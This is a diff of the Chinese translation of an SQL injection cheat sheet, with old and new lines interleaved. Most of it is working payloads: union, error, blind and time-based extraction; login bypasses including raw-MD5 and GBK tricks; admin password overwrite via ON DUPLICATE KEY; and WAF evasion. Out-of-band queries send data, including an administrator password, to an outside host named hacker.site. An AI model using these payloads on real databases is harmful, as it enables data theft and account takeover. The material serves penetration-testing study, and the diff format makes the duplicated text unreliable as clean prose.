在某些情况下,**sleep 函数将不被允许**。然后,您可以使查询**执行复杂操作**,这将需要几秒钟。_这些技术的示例将在每种技术上单独评论(如果有的话)_。
|
||||
|
||||
### 识别后端
|
||||
|
||||
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节中的**sleep 函数**或这些函数(来自[payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)中的表格:
|
||||
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节的_**sleep**_ **函数**或这些函数(来自 [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) 的表):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
|
@ -145,24 +148,24 @@ SQLite
|
|||
此外,如果您可以访问查询的输出,您可以使其**打印数据库的版本**。
|
||||
|
||||
{% hint style="info" %}
|
||||
接下来,我们将讨论利用不同类型的SQL注入的不同方法。我们将以MySQL为例。
|
||||
接下来我们将讨论不同的方法来利用不同类型的SQL注入。我们将以MySQL为例。
|
||||
{% endhint %}
|
||||
|
||||
### 使用PortSwigger进行识别
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
|
||||
## 利用联合查询
|
||||
## 利用基于联合的注入
|
||||
|
||||
### 检测列数
|
||||
|
||||
如果您可以看到查询的输出,这是利用它的最佳方法。\
|
||||
首先,我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\
|
||||
通常有两种方法用于此目的:
|
||||
通常使用两种方法来实现这一目的:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
为了确定查询中的列数,逐渐调整在**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者都可以用于确定查询的列数。
|
||||
要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者可以相同地用于确定查询的列数。
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -180,17 +183,17 @@ SQLite
|
|||
```
|
||||
#### UNION SELECT
|
||||
|
||||
选择更多的空值,直到查询正确为止:
|
||||
选择越来越多的空值,直到查询正确:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_在某些情况下,查询两侧列的类型必须相同,因此应使用`null`值。_
|
||||
_您应该使用 `null` 值,因为在某些情况下,查询两侧的列类型必须相同,而 null 在每种情况下都是有效的。_
|
||||
|
||||
### 提取数据库名称、表名称和列名称
|
||||
|
||||
在下面的示例中,我们将检索所有数据库的名称、数据库的表名称以及表的列名称:
|
||||
在接下来的示例中,我们将检索所有数据库的名称、数据库的表名称、表的列名称:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
|
@ -201,67 +204,67 @@ _在某些情况下,查询两侧列的类型必须相同,因此应使用`nul
|
|||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_在每个不同的数据库上发现这些数据的方法都不同,但方法论总是相同的。_
|
||||
_在每个不同的数据库中发现这些数据的方法各不相同,但方法论始终相同。_
|
||||
|
||||
## 利用隐藏的基于联合的注入
|
||||
|
||||
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端执行查询。
|
||||
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
|
||||
|
||||
这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了了解这些默认表,建议查阅目标DBMS的文档。
|
||||
这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了理解这些默认表,建议查阅目标DBMS的文档。
|
||||
|
||||
一旦查询被提取出来,就需要调整有效载荷以安全地关闭原始查询。随后,在有效载荷中附加一个联合查询,从而促进对新获得的基于联合的注入的利用。
|
||||
一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷中,从而利用新可访问的基于联合的注入。
|
||||
|
||||
要获取更全面的见解,请参考[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)上提供的完整文章。
|
||||
有关更全面的见解,请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
|
||||
|
||||
## 利用基于错误的注入
|
||||
|
||||
如果由于某种原因您**无法**看到**查询**的**输出**,但可以**看到错误消息**,则可以利用这些错误消息从数据库中**提取**数据。\
|
||||
按照与基于联合的利用相似的流程,您可以成功地转储数据库。
|
||||
如果由于某种原因你**无法**看到**查询**的**输出**,但你可以**看到错误消息**,你可以利用这些错误消息来**提取**数据库中的数据。\
|
||||
遵循与基于联合的利用相似的流程,你可以成功地转储数据库。
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## 利用盲注入攻击
|
||||
## 利用盲注入
|
||||
|
||||
在这种情况下,您无法看到查询结果或错误,但您可以区分查询返回的是真还是假的响应,因为页面上的内容不同。\
|
||||
在这种情况下,您可以利用这种行为逐个字符地转储数据库:
|
||||
在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询何时**返回****真**或**假**响应,因为页面上有不同的内容。\
|
||||
在这种情况下,您可以利用这种行为逐字符地转储数据库:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## 利用错误盲注 SQLi
|
||||
## 利用错误盲SQLi
|
||||
|
||||
这与之前的情况**相同**,但不再区分查询的真/假响应,而是可以区分SQL查询中是否存在**错误**(也许是因为HTTP服务器崩溃)。因此,在这种情况下,每次猜对一个字符时,您都可以强制引发一个 SQL 错误:
|
||||
这是**与之前相同的情况**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生一个SQL错误:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## 利用基于时间的 SQLi
|
||||
|
||||
在这种情况下,**无法**根据页面的上下文**区分**查询的响应。但是,如果猜测的字符正确,可以使页面**加载时间更长**。我们之前已经看到过这种技术的应用,用于[确认 SQLi 漏洞](./#confirming-with-timing)。
|
||||
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们已经在之前看到过这种技术用于[确认 SQLi 漏洞](./#confirming-with-timing)。
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## 堆叠查询
|
||||
## Stacked Queries
|
||||
|
||||
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询被执行,**结果**并**不会返回给应用程序**。因此,这种技术主要用于与**盲注漏洞**相关的情况,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。
|
||||
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询会被执行,但**结果**不会**返回给应用程序**。因此,这种技术主要用于与**盲漏洞**相关的情况,在这种情况下,您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
|
||||
|
||||
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持:`在此处放置第一个查询; 在此处放置第二个查询`
|
||||
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们:`QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## 带外利用
|
||||
## Out of band Exploitation
|
||||
|
||||
如果**没有其他**利用方法**奏效**,您可以尝试让数据库将信息**传输**到您控制的**外部主机**。例如,通过DNS查询:
|
||||
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将**信息外泄到您控制的**外部主机**。例如,通过DNS查询:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### 通过XXE进行带外数据泄露
|
||||
### 通过 XXE 进行带外数据泄露
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## 自动化利用
|
||||
|
||||
查看[SQLMap Cheetsheat](sqlmap/)以使用[**sqlmap**](https://github.com/sqlmapproject/sqlmap)利用SQLi漏洞。
|
||||
查看 [SQLMap Cheetsheat](sqlmap/) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
|
||||
## 技术特定信息
|
||||
|
||||
我们已经讨论了利用SQL注入漏洞的所有方法。在本书中找到一些与数据库技术相关的更多技巧:
|
||||
我们已经讨论了利用 SQL 注入漏洞的所有方法。在本书中找到一些更多依赖于数据库技术的技巧:
|
||||
|
||||
* [MS Access](ms-access-sql-injection.md)
|
||||
* [MSSQL](mssql-injection.md)
|
||||
|
@ -269,15 +272,17 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
* [Oracle](oracle-injection.md)
|
||||
* [PostgreSQL](postgresql-injection/)
|
||||
|
||||
或者您可以在[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的**许多技巧**。
|
||||
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于:MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流平台。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 身份验证绕过
|
||||
## 认证绕过
|
||||
|
||||
尝试绕过登录功能的列表:
|
||||
|
||||
|
@ -285,35 +290,35 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 原始哈希身份验证绕过
|
||||
### 原始哈希认证绕过
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
这个查询展示了在使用MD5进行原始输出验证时的一个漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入,使其在哈希后产生意外的SQL命令部分,从而实现未经授权的访问。
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希时会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### 注入哈希身份验证绕过
|
||||
### 注入哈希认证绕过
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**推荐列表**:
|
||||
|
||||
您应该将列表中的每一行作为用户名,密码始终为:_**Pass1234.**_\
|
||||
(这些有效载荷也包含在本节开头提到的大列表中)
|
||||
您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\
|
||||
_(这些有效载荷也包含在本节开头提到的大列表中)_
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK身份验证绕过
|
||||
### GBK 认证绕过
|
||||
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建:0xA80x5c0x27 (_╘'_)
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,它将被创建为:0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Python脚本:
|
||||
Python 脚本:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
|
@ -326,53 +331,53 @@ print r.text
|
|||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## 插入语句
|
||||
## Insert Statement
|
||||
|
||||
### 修改现有对象/用户的密码
|
||||
|
||||
要做到这一点,您应该尝试**创建一个名为"主对象"**(在用户情况下可能是**admin**)修改一些内容:
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**)并修改某些内容:
|
||||
|
||||
- 创建用户名为:**AdMIn**(大写和小写字母)
|
||||
- 创建用户名为:**admin=**
|
||||
- **SQL截断攻击**(当用户名或电子邮件中存在某种**长度限制**时)--> 创建用户名为:**admin \[很多空格] a**
|
||||
* 创建名为:**AdMIn**(大小写字母)
|
||||
* 创建名为:**admin=**的用户
|
||||
* **SQL截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
|
||||
|
||||
#### SQL截断攻击
|
||||
|
||||
如果数据库存在漏洞,并且用户名的最大字符数为30,您想要冒充用户**admin**,尝试创建一个名为:"_admin \[30个空格] a_"的用户名和任何密码。
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任何密码。
|
||||
|
||||
数据库将**检查**是否在数据库中存在**输入的用户名**。如果**不存在**,它将**截断**用户名至**允许的最大字符数**(在本例中为:"_admin \[25个空格]_"),然后将**自动删除所有末尾的空格**,更新数据库中的用户"**admin**"的**新密码**(可能会出现一些错误,但这并不意味着这没有起作用)。
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
||||
|
||||
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_注意:在最新的MySQL安装中,此攻击将不再按上述描述的方式起作用。虽然比较仍然默认忽略尾随空格,但尝试插入长于字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请参阅:[https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_注意:在最新的MySQL安装中,此攻击将不再按上述方式工作。虽然比较仍然默认忽略尾随空格,但尝试插入一个超过字段长度的字符串将导致错误,插入将失败。有关此检查的更多信息,请参见:[https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### MySQL插入基于时间的检查
|
||||
### MySQL基于时间的插入检查
|
||||
|
||||
在VALUES语句中添加尽可能多的`','',''`。如果延迟执行,则存在SQL注入。
|
||||
根据您的考虑,添加尽可能多的`','',''`以退出VALUES语句。如果执行了延迟,则您有SQL注入。
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
MySQL中的`ON DUPLICATE KEY UPDATE`子句用于指定数据库在尝试插入导致在UNIQUE索引或PRIMARY KEY中出现重复值的行时应采取的操作。以下示例演示了如何利用此功能来修改管理员帐户的密码:
|
||||
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行会导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时,数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码:
|
||||
|
||||
注入示例负载:
|
||||
示例有效载荷注入:
|
||||
|
||||
可以制作如下注入负载,尝试将两行插入`users`表中。第一行是诱饵,第二行针对现有管理员的电子邮件,意图是更新密码:
|
||||
有效载荷可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
这是它的工作原理:
|
||||
Here's how it works:
|
||||
|
||||
- 查询尝试插入两行数据:一个是`generic_user@example.com`,另一个是`admin_generic@example.com`。
|
||||
- 如果`admin_generic@example.com`的行已经存在,则`ON DUPLICATE KEY UPDATE`子句会触发,指示MySQL将现有行的`password`字段更新为"bcrypt_hash_of_newpassword"。
|
||||
- 因此,随后可以尝试使用`admin_generic@example.com`进行身份验证,密码对应于bcrypt哈希("bcrypt_hash_of_newpassword"代表新密码的bcrypt哈希,应该用所需密码的实际哈希替换)。
|
||||
- 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`。
|
||||
- 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
|
||||
- 因此,可以使用 `admin_generic@example.com` 尝试身份验证,密码对应于 bcrypt 哈希("bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
|
||||
|
||||
### 提取信息
|
||||
|
||||
#### 同时创建2个帐户
|
||||
#### 同时创建 2 个账户
|
||||
|
||||
当尝试创建新用户和用户名时,需要密码和电子邮件:
|
||||
在尝试创建新用户时,需要用户名、密码和电子邮件:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
@ -381,9 +386,9 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
|||
```
|
||||
#### 使用十进制或十六进制
|
||||
|
||||
通过这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。
|
||||
使用此技术,您可以仅创建 1 个帐户来提取信息。重要的是要注意,您不需要注释任何内容。
|
||||
|
||||
使用**hex2dec**和**substr**:
|
||||
使用 **hex2dec** 和 **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
|
@ -391,7 +396,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
|||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
使用**hex**和**replace**(以及**substr**):
|
||||
使用 **hex** 和 **replace**(以及 **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
|
@ -400,30 +405,28 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||
#Full ascii uppercase and lowercase replace:
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。 该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈的交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Routed SQL注入
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL注入是一种情况,其中可注入的查询不是产生输出的查询,而是可注入查询的输出进入产生输出的查询。([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection 是一种情况,其中可注入查询不是产生输出的查询,而是可注入查询的输出传递给产生输出的查询。 ([来自论文](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
示例:
|
||||
示例:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF绕过
|
||||
## WAF 绕过
|
||||
|
||||
[从这里开始的初始绕过](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### 无空格绕过
|
||||
|
||||
无空格 (%20) - 使用空格替代方案绕过
|
||||
无空格 (%20) - 使用空白替代品进行绕过
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
|
@ -432,35 +435,31 @@ Routed SQL注入是一种情况,其中可注入的查询不是产生输出的
|
|||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
### No Whitespace - 通过使用注释绕过
|
||||
|
||||
在某些情况下,您可能会遇到无法在注入点使用空格的限制。在这种情况下,您可以尝试使用注释来绕过此限制。您可以在SQL语句中使用注释来替代空格,以确保语句仍然有效。
|
||||
无空格 - 使用注释绕过
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
### 无空格 - 使用括号绕过
|
||||
|
||||
在某些情况下,您可能无法在注入点使用空格。在这种情况下,您可以尝试使用括号来绕过此限制。
|
||||
无空格 - 使用括号绕过
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### 无逗号绕过
|
||||
|
||||
使用 OFFSET、FROM 和 JOIN 绕过逗号。
|
||||
无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### 通用绕过方法
|
||||
### 通用绕过
|
||||
|
||||
黑名单关键字 - 使用大写/小写绕过
|
||||
使用关键字的黑名单 - 使用大写/小写绕过
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
使用关键字黑名单不区分大小写 - 通过使用等效运算符绕过
|
||||
使用关键字的黑名单不区分大小写 - 使用等效运算符绕过
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -470,7 +469,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
```
|
||||
### 科学计数法 WAF 绕过
|
||||
|
||||
您可以在[gosecure博客](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)中找到关于这一技巧的更深入解释。\
|
||||
您可以在 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 中找到对此技巧的更深入解释。\
|
||||
基本上,您可以以意想不到的方式使用科学计数法来绕过 WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
|
@ -479,21 +478,21 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
```
|
||||
### 绕过列名限制
|
||||
|
||||
首先要注意,如果**原始查询和你想从中提取标志的表具有相同数量的列**,你可以简单地执行:`0 UNION SELECT * FROM flag`
|
||||
首先,请注意,如果**原始查询和您想要提取标志的表具有相同数量的列**,您可以直接执行:`0 UNION SELECT * FROM flag`
|
||||
|
||||
可以**访问表的第三列而无需使用其名称**,使用以下查询:`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,因此在SQL注入中会是这样的形式:
|
||||
可以使用以下查询**在不使用列名的情况下访问表的第三列**:`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,因此在sqlinjection中,这看起来像:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
或者使用**逗号绕过**:
|
||||
或使用 **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
这个技巧来自[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
这个技巧来自于 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### WAF绕过建议工具
|
||||
### WAF 绕过建议工具
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
|
||||
|
@ -502,24 +501,31 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## 暴力检测列表
|
||||
## 暴力破解检测列表
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
